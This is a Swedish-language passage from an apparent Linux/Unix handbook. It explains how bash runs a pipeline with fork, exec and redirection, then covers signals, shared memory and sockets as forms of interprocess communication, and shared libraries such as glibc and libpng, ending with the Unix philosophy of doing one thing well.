Sedan klonar skalet sig själv; detta leder till en ny bash-process med pid #4521 (pid:ar är abstrakta nummer och har i allmänhet ingen mening). Process #4521 ärver rörledningen, vilket innebär att den kan skriva till dess ”ingångsände”; bash omdirigerar sin standard ut-ström till denna rörlednings ingång. Sedan exekverar det (och ersätter sig själv med) programmet ls, vilket listar innehållet i den aktuella katalogen. Eftersom ls skriver på sin standard ut och denna utgång tidigare har omdirigerats kommer resultaten i att skickas in i rörledningen.

En liknande åtgärd händer för det andra kommandot: bash klonar sig själv igen, vilket leder till en ny bash-process med pid #4522. Eftersom detta också är en barn process till #4374, ärver denna också rörledningen; bash ansluter sedan sin standard in till rörledningens utgång, sedan kör det (och ersätter sig själv med) sort-kommandot, vilket sorterar sin indata och skriver ut resultaten.

Alla delarna i pusslet är nu inställda: ls läser den aktuella katalogen och skriver listan av filer till rörledningen; sort läser denna lista, sorterar den alfabetiskt och skriver ut resultaten. Processnummer #4521 och #4522 avslutas sedan och #4374 (vilken väntat på dem under åtgärden), återtar kontrollen och skriver ut en prompt för att låta användaren mata in ett nytt kommando.

Inte all interprocesskommunikation används för att flytta runt data, dock. I många situationer är den enda information som måste överföras kontrollmeddelanden så som ”pausa körning”, eller ”återuppta körning”. Unix (och Linux) tillhandahåller en mekanism känd som signaler genom vilka en process enkelt kan skicka en specifik signal (vald från en fördefinierad lista av signaler) till en annan process. Det enda kravet är att veta målets pid.

För mer komplex kommunikation finns det också mekanismer för att låta en process göra tillgängligt, eller dela, en del av sitt allokerade minne till andra processer. Minne som nu delas mellan dem kan användas för att flytta data mellan processerna.

Avslutningsvis kan nätverksanslutningar också hjälpa processer att kommunicera; dessa processer kan till och med köras på olika datorer, tusentals kilometer från varandra.

Det är ganska vanligt för ett typiskt Unix-liknande system att använda alla dessa mekanismer i olika utsträckning.

B.5.4. Bibliotek

Funktionsbibliotek spelar en väsentlig roll i ett Unix-liknande operativsystem. Det är inte egentliga program, då de inte kan köras för sig, utan är samlingar av kodfragment som kan användas av standardprogram. Bland de vanliga biblioteken hittar du:

standard C-biblioteket (glibc), vilket innehåller grundläggande funktioner för att öppna filer eller nätverksanslutningar, och andra som möjliggör interaktion med kärnan;

grafiska verktygslådor, så som Gtk+ och Qt, vilket låter många program återanvända de grafiska objekten de tillhandahåller;

biblioteket libpng, vilket möjliggör inläsning, tolkning och sparande av bilder i PNG-formatet.

Tack vare dessa bibliotek, kan program återanvända kod. Programutveckling förenklas då många program kan återanvända samma funktioner. Med bibliotek som utvecklats av olika personer tas den globala utvecklingen av systemet närmre Unix historiska filosofi.

KULTUR Unix-sättet: en sak åt gången

En av de fundamentala koncepten som underbygger operativsystemen i Unix-familjen är att varje verktyg endast bör göra en sak och göra det bra; program kan sedan återanvända dessa verktyg för att bygga mer avancerad logik ovanpå. Denna filosofi kan ses i många inkarnationer. Skalskript är kanske det bästa exemplet: de förenar komplexa sekvenser från väldigt enkla verktyg (så som grep, wc, sort, uniq, o.s.v.) En annan implementation av denna filosofi kan ses i kodbibliotek: biblioteket libpng tillåter inläsning och skrivning av PNG-bilder, med olika flaggor och på olika sätt, men det gör endast det; det finns ingen chans att det inkluderar funktioner som visar eller redigerar bilder.

Därutöver refereras dessa bibliotek ofta till som ”delade bibliotek” då kärnan kan läsa in dem i minne endast en gång även om flera processer använder samma bibliotek samtidigt. Detta möjliggör sparande av minne, när det jämförs med den motsatta (hypotetiska) situationen där koden för ett bibliotek måste läsas in lika många gånger som det finns processor som använder det.